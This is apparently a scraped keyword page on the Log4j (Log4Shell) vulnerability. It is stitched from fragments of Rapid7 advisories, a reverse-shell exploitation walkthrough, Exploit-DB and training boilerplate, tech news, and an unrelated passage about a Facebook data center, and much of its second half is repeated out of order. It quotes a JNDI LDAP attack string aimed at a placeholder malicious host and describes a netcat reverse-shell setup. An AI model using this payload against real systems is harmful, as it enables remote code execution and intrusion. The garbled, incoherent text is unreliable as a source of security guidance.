log4j exploit metasploit

Log4j is a reliable, fast, flexible, and popular logging framework (APIs) written in Java. Imagine how easy it is to automate this exploit and send the exploit to every exposed application with log4j running. Active Exploitation of ZK Framework CVE-2022-36537, CVE-2022-21587: Rapid7 Observed Exploitation of Oracle E-Business Suite Vulnerability, CVE-2023-22501: Critical Broken Authentication Flaw in Jira Service Management Products, Ransomware Campaign Compromising VMware ESXi Servers, Issues with this page? A tag already exists with the provided branch name. ${jndi:ldap://[malicious ip address]/a} Version 2.15.0 has been released to address this issue and fix the vulnerability, but 2.16.0 version is vulnerable to Denial of Service. Containers The new vulnerability, assigned the identifier . Customers should ensure they are running version 6.6.121 of their Scan Engines and Consoles and enable Windows File System Search in the scan template. Notably, both Java 6 and Java 7 are end-of-life (EOL) and unsupported; we strongly recommend upgrading to Java 8 or later. In this repository we have made and example vulnerable application and proof-of-concept (POC) exploit of it. The Exploit Database is a Please see updated Privacy Policy, +18663908113 (toll free)support@rapid7.com, Digital Forensics and Incident Response (DFIR), Cloud Security with Unlimited Vulnerability Management, 24/7 MONITORING & REMEDIATION FROM MDR EXPERTS, SCAN MANAGEMENT & VULNERABILITY VALIDATION, PLAN, BUILD, & PRIORITIZE SECURITY INITIATIVES, SECURE EVERYTHING CONNECTED TO A CONNECTED WORLD, THE LATEST INDUSTRY NEWS AND SECURITY EXPERTISE, PLUGINS, INTEGRATIONS & DEVELOPER COMMUNITY, UPCOMING OPPORTUNITIES TO CONNECT WITH US. CVE-2021-45046 has been issued to track the incomplete fix, and both vulnerabilities have been mitigated in Log4j 2.16.0. the fact that this was not a Google problem but rather the result of an often They should also monitor web application logs for evidence of attempts to execute methods from remote codebases (i.e. Technical analysis, proof-of-concept code, and indicators of compromise for this vector are available in AttackerKB. In addition, dozens of malware families that run the gamut from cryptocurrency coin miners and remote access trojans to botnets and web shells have been identified taking advantage of this shortcoming to date. Figure 5: Victims Website and Attack String. Insight Agent version 3.1.2.36 was released on December 12, 2021 and includes collection support for Log4j JAR files on Mac and Linux systems so that vulnerability assessments of the authenticated check for CVE-2021-44228 will work for updated Agent-enabled systems. The Exploit session in Figure 6 indicates the receipt of the inbound LDAP connection and redirection made to our Attackers Python Web Server. Likely the code they try to run first following exploitation has the system reaching out to the command and control server using built-in utilities like this. By leveraging Burp Suite, we can craft the request payload through the URL hosted on the LDAP Server. The InsightCloudSec and InsightVM integration will identify cloud instances which are vulnerable to CVE-2021-44228 in InsightCloudSec. What is the Log4j exploit? non-profit project that is provided as a public service by Offensive Security. This component is able to reject images based on names, tags, namespaces, CVE severity level, and so on, using different criteria. Reach out to request a demo today. 2870 Peachtree Road, Suite #915-8924, Atlanta, GA 30305, Cybersecurity and Infrastructure Security Agency (CISA) announced, https://nvd.nist.gov/vuln/detail/CVE-2021-44228. Along with the guidance below, our tCell team has a new, longer blog post on these detections and how to use them to safeguard your applications. All these factors and the high impact to so many systems give this vulnerability a CRITICAL severity rating of CVSS3 10.0. Penetration Testing with Kali Linux (PWK) (PEN-200), Offensive Security Wireless Attacks (WiFu) (PEN-210), Evasion Techniques and Breaching Defences (PEN-300), Advanced Web Attacks and Exploitation (AWAE) (WEB-300), Windows User Mode Exploit Development (EXP-301), - Penetration Testing with Kali Linux (PWK) (PEN-200), CVE The vulnerable web server is running using a docker container on port 8080. Time is Running Out, Motorola's handy Bluetooth device adds satellite messaging, Linux 6.2: The first mainstream Linux kernel for Apple M1 chips arrives, Sony's new headphones adopt WH-1000XM5 technology at a great price, The perfectly pointless $197 gadget that some people will love. An issue with occassionally failing Windows-based remote checks has been fixed. Raxis believes that a better understanding of the composition of exploits it the best way for users to learn how to combat the growing threats on the internet. Please email info@rapid7.com. UPDATE: We strongly recommend updating to 2.17.0 at the time of the release of this article because the severity of CVE-2021-45046 change from low to HIGH. CVE-2021-44228 - this is the tracking identity for the original Log4j exploit CVE-2021-45046 - the tracking identity for the vulnerability associated with the first Log4j patch (version 2.15.0). [December 17, 4:50 PM ET] The attacker now has full control of the Tomcat 8 server, although limited to the docker session that we had configured in this test scenario. [December 13, 2021, 4:00pm ET] The latest release 2.17.0 fixed the new CVE-2021-45105. The attacker can run whatever code (e.g. Become a Cybersecurity Pro with most demanded 2023 top certifications training courses. [December 23, 2021] Facebook's $1 billion-plus data center in this small community on the west side of Utah County is just one of 13 across the country and, when complete, will occupy some 1.5 million square feet. Researchers are maintaining a public list of known affected vendor products and third-party advisories releated to the Log4j vunlerability. CISA also has posted a dedicated resource page for Log4j info aimed mostly at Federal agencies, but consolidates and contains information that will be used to protectors in any organization. In this case, we can see that CVE-2021-44228 affects one specific image which uses the vulnerable version 2.12.1. [December 11, 2021, 4:30pm ET] The Java class sent to our victim contained code that opened a remote shell to our attackers netcat session, as shown in Figure 8. On December 10, 2021, Apache released a fix for CVE-2021-44228, a critical RCE vulnerability affecting Log4j that is being exploited in the wild. Our Tomcat server is hosting a sample website obtainable from https://github.com/cyberxml/log4j-poc and is configured to expose port 8080 for the vulnerable web server. by a barrage of media attention and Johnnys talks on the subject such as this early talk Rapid7 researchers have developed and tested a proof-of-concept exploit that works against the latest Struts2 Showcase (2.5.27) running on Tomcat. To do this, an outbound request is made from the victim server to the attackers system on port 1389. Johnny coined the term Googledork to refer You can also check out our previous blog post regarding reverse shell. Worked with a couple of our partners late last night and updated our extension for windows-based apache servers as well: One issue with scanning logs on Windows Apache servers is the logs folder is not standard. Since then, we've begun to see some threat actors shift . Researchers at Microsoft have also warned about attacks attempting to take advantage of Log4j vulnerabilities, including a range of cryptomining malware, as well as active attempts to install Cobalt Strike on vulnerable systems, something that could allow attackers to steal usernames and passwords. His initial efforts were amplified by countless hours of community The Java Naming and Directory Interface (JNDI) provides an API for java applications, which can be used for binding remote objects, looking up or querying objects, as well as detecting changes on the same objects. Untrusted strings (e.g. Written by Sean Gallagher December 12, 2021 SophosLabs Uncut Threat Research featured IPS JNDI LDAP Log4J Log4shell [December 20, 2021 1:30 PM ET] Why MSPs are moving past VPNs to secure remote and hybrid workers. open detection and scanning tool for discovering and fuzzing for Log4J RCE CVE-2021-44228 vulnerability. In this case, we run it in an EC2 instance, which would be controlled by the attacker. This is an extremely unlikely scenario. Log4j is used in many forms of enterprise and open-source software, including cloud platforms, web applications and email services, meaning that there's a wide range of software that could be at. First, our victim server is a Tomcat 8 web server that uses a vulnerable version of Apache Log4j and is configured and installed within a docker container. Web infrastructure company Cloudflare on Wednesday revealed that threat actors are actively attempting to exploit a second bug disclosed in the widely used Log4j logging utility, making it imperative that customers move quickly to install the latest version as a barrage of attacks continues to pummel unpatched systems with a variety of malware.. Before starting the exploitation, the attacker needs to control an LDAP server where there is an object file containing the code they want to download and execute. and other online repositories like GitHub, You can detect this vulnerability at three different phases of the application lifecycle: Using an image scanner, a software composition analysis (SCA) tool, you can analyze the contents and the build process of a container image in order to detect security issues, vulnerabilities, or bad practices. Bob Rudis has over 20 years of experience defending companies using data and is currently [Master] Chief Data Scientist at Rapid7, where he specializes in research on internet-scale exposure. Rapid7 Labs, Managed Detection and Response (MDR), and tCell teams recommend filtering inbound requests that contain the string ${jndi: in any inbound request and monitoring all application and web server logs for similar strings. zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class). Tracked CVE-2021-44228 (CVSS score: 10.0), the flaw concerns a case of remote code execution in Log4j, a Java-based open-source Apache logging framework broadly used in enterprise environments to record events and messages generated by software applications.. All that is required of an adversary to leverage the vulnerability is send a specially crafted string containing the malicious code that . Many prominent websites run this logger. Hackers Begin Exploiting Second Log4j Vulnerability as a Third Flaw Emerges. Through continuous collaboration and threat landscape monitoring, we ensure product coverage for the latest techniques being used by malicious actors. If you have not upgraded to this version, we strongly recommend you do so, though we note that if you are on v2.15 (the original fix released by Apache), you will be covered in most scenarios. Apache has released Log4j 2.12.3 for Java 7 users and 2.3.1 for Java 6 users to mitigate Log4Shell-related vulnerabilities. The use cases covered by the out-of-the-box ruleset in Falco are already substantial, but here we show those that might trigger in case an attacker uses network tools or tries to spawn a new shell. Get tips on preparing a business for a security challenge including insight from Kaseya CISO Jason Manar. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. [December 14, 2021, 08:30 ET] [December 12, 2021, 2:20pm ET] Note, this particular GitHub repository also featured a built-in version of the Log4j attack code and payload, however, we disabled it for our example in order to provide a view into the screens as seen by an attacker. This will prevent a wide range of exploits leveraging things like curl, wget, etc. While JNDI supports a number of naming and directory services, and the vulnerability can be exploited in many different ways, we will focus our attention on LDAP. There are already active examples of attackers attempting to leverage Log4j vulnerabilities to install cryptocurrency-mining malware, while there also reports of several botnets, including Mirai, Tsunami, and Kinsing, that are making attempts to leverage it. We will update this blog with further information as it becomes available. Finding and serving these components is handled by the Struts 2 class DefaultStaticContentLoader. Along with Log4Shell, we also have CVE-2021-4104 reported on December 9, 2021 a flaw in the Java logging library Apache Log4j in version 1.x. Apache Struts 2 Vulnerable to CVE-2021-44228 lists, as well as other public sources, and present them in a freely-available and tCell Customers can also enable blocking for OS commands. First, as most twitter and security experts are saying: this vulnerability is bad. Combined with the ease of exploitation, this has created a large scale security event. proof-of-concepts rather than advisories, making it a valuable resource for those who need The Cookie parameter is added with the log4j attack string. Note: Searching entire file systems across Windows assets is an intensive process that may increase scan time and resource utilization. Log4j zero-day flaw: What you need to know and how to protect yourself, Security warning: New zero-day in the Log4j Java library is already being exploited, Log4j RCE activity began on December 1 as botnets start using vulnerability, common for cyber criminals to make efforts to exploit newly disclosed vulnerabilities, an alert by the UK's National Cyber Security Centre, evidence suggests that attackers have been exploiting the vulnerability for some time before it was publicly disclosed, Do Not Sell or Share My Personal Information. Microsoft Threat Intelligence Center (MSTIC) said it also observed access brokers leveraging the Log4Shell flaw to gain initial access to target networks that were then sold to other ransomware affiliates. Apache has released Log4j 2.16. CVE-2021-44832 is of moderate severity (CVSSv3 6.6) and exists only in a non-default configuration that requires the attacker to have control over Log4j configuration. See above for details on a new ransomware family incorporating Log4Shell into their repertoire. The last step in our attack is where Raxis obtains the shell with control of the victims server. Under terms ratified by five taxing entities, Facebook will qualify for some $150 million in tax breaks over 20 years for Phase 1 of the project, a two-building, 970,000-square-foot undertaking worth $750 million. The web application we used can be downloaded here. Before sending the crafted request, we need to set up the reverse shell connection using the netcat (nc) command to listen on port 8083. Next, we need to setup the attackers workstation. we equip you to harness the power of disruptive innovation, at work and at home. Get the latest stories, expertise, and news about security today. malware) they want on your webserver by sending a web request to your website with nothing more than a magic string + a link to the code they want to run. Apache later updated their advisory to note that the fix for CVE-2021-44228 was incomplete in certain non-default configurations. See the Rapid7 customers section for details. Recently there was a new vulnerability in log4j, a java logging library that is very widely used in the likes of elasticsearch, minecraft and numerous others. After installing the product and content updates, restart your console and engines. that provides various Information Security Certifications as well as high end penetration testing services. If apache starts running new curl or wget commands (standard 2nd stage activity), it will be reviewed. If youre impacted by this CVE, you should update the application to the newest version, or at least to the 2.17.0 version, immediately. Product version 6.6.119 was released on December 13, 2021 at 6pm ET to ensure the remote check for CVE-2021-44228 is available and functional. Rapid7 has observed indications from the research community that they have already begun investigating RCE exploitability for products that sit in critical places in corporate networks, including network infrastructure solutions like vCenter Server. Reports are coming in of ransomware group, Conti, leveraging CVE-2021-44228 (Log4Shell) to mount attacks. Rapid7 InsightIDR has several detections that will identify common follow-on activity used by attackers. Rapid7 is continuously monitoring our environment for Log4Shell vulnerability instances and exploit attempts. This session is to catch the shell that will be passed to us from the victim server via the exploit. This vulnerability allows an attacker to execute code on a remote server; a so-called Remote Code Execution (RCE). The Exploit session, shown in Figure 4, is the proof-of-concept Log4j exploit code operating on port 1389, creating a weaponized LDAP server. Rapid7 Labs is now maintaing a regularly updated list of unique Log4Shell exploit strings as seen by Rapid7's Project Heisenberg. ShadowServer is a non-profit organization that offers free Log4Shell exposure reports to organizations. The attack string exploits a vulnerability in Log4j and requests that a lookup be performed against the attackers weaponized LDAP server. Updated mitigations section to include new guidance from Apache Log4J team and information on how to use InsightCloudSec + InsightVM to help identify vulnerable instances. In order to protect your application against any exploit of Log4j, weve added a default pattern (tc-cdmi-4) for customers to block against. Various versions of the log4j library are vulnerable (2.0-2.14.1). This post is also available in , , , , Franais, Deutsch.. We have updated our log4shells scanner to include better coverage of obfuscation methods and also depreciated the now defunct mitigation options that apache previously recommended. But first, a quick synopsis: Typical behaviors to expect if your server is exploited by an attacker is the installation of a new webshell (website malware that gives admin access to the server via a hidden administrator interface). CVE-2021-45105 is a Denial of Service (DoS) vulnerability that was fixed in Log4j version 2.17.0. VMware customers should monitor this list closely and apply patches and workarounds on an emergency basis as they are released. log4j-exploit.py README.md log4j A simple script to exploit the log4j vulnerability #Before Using the script: Only versions between 2.0 - 2.14.1 are affected by the exploit Create two txt files - one containing a list of URLs to test and the other containing the list of payloads. Due to how many implementations there are of log4j embedded in various products, its not always trivial to find the version of the log4j extension. Because of the widespread use of Java and Log4j this is likely one of the most serious vulnerabilities on the Internet since both Heartbleed and ShellShock. The vulnerability was designated when it became clear that the fix for CVE-2021-44228 was incomplete in certain non-default configurations'' and has now been upgraded in severity due to reports that it not only allows for DoS attacks, but also information leaks and in some specific cases, RCE (currently being reported for macOS). Will be reviewed rapid7 is continuously monitoring our environment for Log4Shell vulnerability instances and exploit attempts Third Flaw.. Vulnerable to CVE-2021-44228 in InsightCloudSec in Log4j and requests that a lookup be performed against the attackers weaponized LDAP.... Imagine how easy it is to catch the shell that will be reviewed for the techniques... Note: Searching entire File systems across Windows assets is an intensive process that may increase scan time resource. On a remote server ; a so-called remote code Execution ( RCE ) vulnerability in Log4j version.! Begun to see some threat actors shift standard 2nd stage activity ), will! Next, we & # x27 ; ve begun to see some threat actors shift You to harness power! Has several detections that will identify cloud instances which are vulnerable ( 2.0-2.14.1 ) with. To see some threat actors shift may increase scan time and resource utilization be downloaded here and functional are. Released on December 13, 2021 at 6pm ET to ensure the remote check for CVE-2021-44228 was incomplete in non-default. Remote check for CVE-2021-44228 is available and functional time and resource utilization content... Will update this blog with further information as it becomes available vulnerability instances exploit... Of unique Log4Shell exploit strings as seen by rapid7 's project Heisenberg 7 users and for! Wide range of exploits leveraging things like curl, wget, etc passed to us from the victim server the... Branch names, so creating this branch may cause unexpected behavior commands ( standard 2nd stage )... For details on a remote server ; a so-called remote code Execution ( RCE ) (... Work and at home, it will be passed to us from the victim server via the exploit in. And fuzzing for Log4j RCE CVE-2021-44228 vulnerability new ransomware family incorporating Log4Shell into their repertoire and that! Available and functional, Conti, leveraging CVE-2021-44228 ( Log4Shell log4j exploit metasploit to mount attacks that may scan. Via the exploit request is made from the victim server to the Log4j attack.. Ensure the remote check for CVE-2021-44228 is available and functional version 2.12.1 vulnerable to in... Vulnerability that was fixed in Log4j version 2.17.0 that offers free Log4Shell exposure reports organizations. Vulnerable to CVE-2021-44228 in InsightCloudSec at home Flaw Emerges as well as end... Used by attackers as a public list of known affected vendor products and advisories! Project that is provided as a public list of unique Log4Shell exploit strings seen! Unexpected behavior request payload through the URL hosted on the LDAP server will update this blog with information. Via the exploit end penetration testing services InsightCloudSec and InsightVM integration will identify cloud instances which are vulnerable 2.0-2.14.1! The exploit session in Figure 6 indicates the receipt of the inbound LDAP connection and redirection made to attackers! Of it experts are saying: this vulnerability a CRITICAL severity rating CVSS3... Remote checks has been fixed analysis, proof-of-concept code, and indicators of compromise for vector! Family incorporating Log4Shell into their repertoire 2.3.1 for Java 7 users and 2.3.1 for Java 7 users and 2.3.1 Java. 2021 at 6pm ET to ensure the remote check for CVE-2021-44228 was incomplete certain. Rapid7 's project Heisenberg Offensive security follow-on activity used by malicious actors us from the victim server via exploit... On a remote server ; a so-called remote code Execution ( RCE ) vulnerable ( )... Used by attackers penetration testing services the log4j exploit metasploit 2 class DefaultStaticContentLoader johnny the. For the latest techniques being used by malicious actors was fixed in Log4j version 2.17.0 reports are log4j exploit metasploit of!, expertise, and indicators of compromise for this vector are available in AttackerKB next, we run in... Third Flaw Emerges fixed in Log4j and requests that a lookup be performed against the attackers on... Branch name stories, expertise, and indicators of compromise for this vector are available AttackerKB... The attacker equip You to harness the power of disruptive innovation, at work and home... May increase scan time and resource utilization lookup be log4j exploit metasploit against the weaponized. System on port 1389 business for a security challenge including insight from Kaseya CISO Jason.. Running version 6.6.121 of their scan Engines and Consoles and enable Windows File System in!, proof-of-concept code, and popular logging framework ( APIs ) written in Java is made from victim. To mount attacks Web application we used can be downloaded here of ransomware group, Conti, leveraging (! Assets is an intensive process that may increase scan time and resource utilization the attacker exposure! Raxis obtains the shell that will identify cloud instances which are vulnerable ( 2.0-2.14.1 ) ET to ensure the check! This blog with further information as it becomes available leveraging things like,... Raxis obtains the shell with control of the Log4j library are vulnerable ( 2.0-2.14.1 ) request through! Exploit strings as seen by rapid7 's project Heisenberg code on a remote server a. With the ease of exploitation, this has created a large scale security event the hosted! Et ] the latest release 2.17.0 fixed the new CVE-2021-45105 receipt of the Log4j library vulnerable! Logging framework ( APIs ) written in Java as well as high end penetration testing.! Give this vulnerability allows an attacker to execute code on a remote server a... Advisories, making it a valuable resource for those who need the Cookie is., this has created a large scale security event rapid7 Labs is now maintaing regularly... Kaseya CISO Jason Manar lookup be performed against the attackers weaponized LDAP server through URL. The LDAP server activity ), it will be reviewed which would controlled! Wide range of exploits leveraging things like curl, wget, etc maintaing a regularly updated of! Seen by rapid7 's project Heisenberg components is handled by the attacker malicious actors threat actors shift our is! Case, we run it in an EC2 instance, which would be controlled by the Struts 2 class.. The URL hosted on the LDAP server as well as high end penetration testing services CVE-2021-44228! Setup the attackers workstation ET to ensure the remote check for CVE-2021-44228 was incomplete in certain non-default configurations provided name. Who need the Cookie parameter is added with the ease of exploitation, this created... Further information as it becomes available victim server to the Log4j vunlerability Conti! Malicious actors available and functional a CRITICAL severity rating of CVSS3 10.0 their repertoire written in Java Log4j requests... Log4J vulnerability as a Third Flaw Emerges Engines and Consoles and enable File... This blog with further information as it becomes available affects one specific image which uses the vulnerable version.. At home the request payload through the URL hosted on the LDAP server is an intensive that... Can craft the request payload through the URL hosted on the LDAP server code Execution ( RCE ) regularly! Information as it becomes available InsightVM integration will identify common follow-on activity used by malicious actors some threat actors.. To mitigate Log4Shell-related vulnerabilities commands ( standard 2nd stage activity ), it will be reviewed to setup the workstation... Security event used can be downloaded here all these factors and the high impact to so systems., fast, flexible, and popular logging framework ( APIs ) written in Java demanded 2023 top certifications courses! Instance, which would be controlled by the Struts 2 class DefaultStaticContentLoader products and third-party advisories to! Exploiting Second Log4j vulnerability as a Third Flaw Emerges of ransomware group, Conti, CVE-2021-44228. Is continuously monitoring our environment for Log4Shell vulnerability instances and exploit attempts as are! Enable Windows File System Search in the scan template follow-on activity used by attackers Git commands accept both tag branch! 7 users and 2.3.1 for Java 6 users to mitigate Log4Shell-related vulnerabilities example vulnerable application and proof-of-concept ( )! Apply patches and workarounds on an emergency basis as they are running version 6.6.121 of their Engines! Was incomplete in certain non-default configurations rather than advisories, making it a valuable for... To refer You can also check out our previous blog post regarding reverse shell on an basis... Check out our previous log4j exploit metasploit post regarding reverse shell, flexible, and popular logging (... Our environment for Log4Shell vulnerability instances and exploit attempts File systems across Windows assets is an intensive process that increase! Popular logging framework ( APIs ) written in Java their scan Engines Consoles. List of known affected vendor products and third-party advisories releated to the Log4j library vulnerable! Updates, restart log4j exploit metasploit console and Engines now maintaing a regularly updated list of unique exploit... As high end penetration testing services then, we run it in an EC2 instance, would! [ December 13, 2021, 4:00pm ET ] the latest stories expertise! Apache has released Log4j 2.12.3 for Java 7 users and 2.3.1 for 6... Collaboration and threat landscape monitoring, we & # x27 ; ve begun to see some actors. Latest release 2.17.0 fixed the new CVE-2021-45105 6 users to mitigate Log4Shell-related.! Components is handled by the attacker 7 users and 2.3.1 for Java users... Performed against the attackers workstation all these factors and the high impact to so many give. Dos ) vulnerability that was fixed in Log4j and requests that a lookup be log4j exploit metasploit against the attackers.... Released Log4j 2.12.3 for Java 7 users and 2.3.1 for Java 7 users and 2.3.1 for Java 6 to!, Conti, leveraging CVE-2021-44228 ( Log4Shell ) to mount attacks control log4j exploit metasploit the inbound connection. Of service ( DoS ) vulnerability that was fixed in Log4j version 2.17.0 vulnerability instances and exploit.! Unique Log4Shell exploit strings as seen by rapid7 's project Heisenberg already exists the. Power of disruptive innovation, at work and at home with Log4j running group Conti...

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